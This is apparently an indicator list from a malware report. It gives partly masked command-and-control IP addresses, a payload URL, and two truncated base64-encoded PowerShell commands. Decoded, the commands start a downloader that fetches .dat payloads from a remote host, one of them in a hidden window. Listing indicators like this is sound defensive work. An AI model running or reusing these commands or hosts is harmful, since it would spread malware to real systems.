Technical Information
- '45.##.170.48':80
- '45.##.69.116':80
- '94.##1.117.30':80
- '19#.#00.17.207':80
- '20#.#3.48.21':80
- '91.##9.147.177':80
- http://45.##.69.116/LFkC9XYf2TF.dat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAZABvAG8AZABsAGUAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8ANAA1AC4ANQA5AC4AMQA3ADAALgA0ADgALwB3AGIANwBrAHoAZABMAC4AZABhAHQALABoAHQAdAB...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAZABvAG8AZABsAGUAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8ANAA1AC4ANQA5AC4AMQA3ADAALgA0ADgALwB3AGIANwBrAHoAZABMAC4AZABhAHQALABoAHQAdAB...' (with hidden window)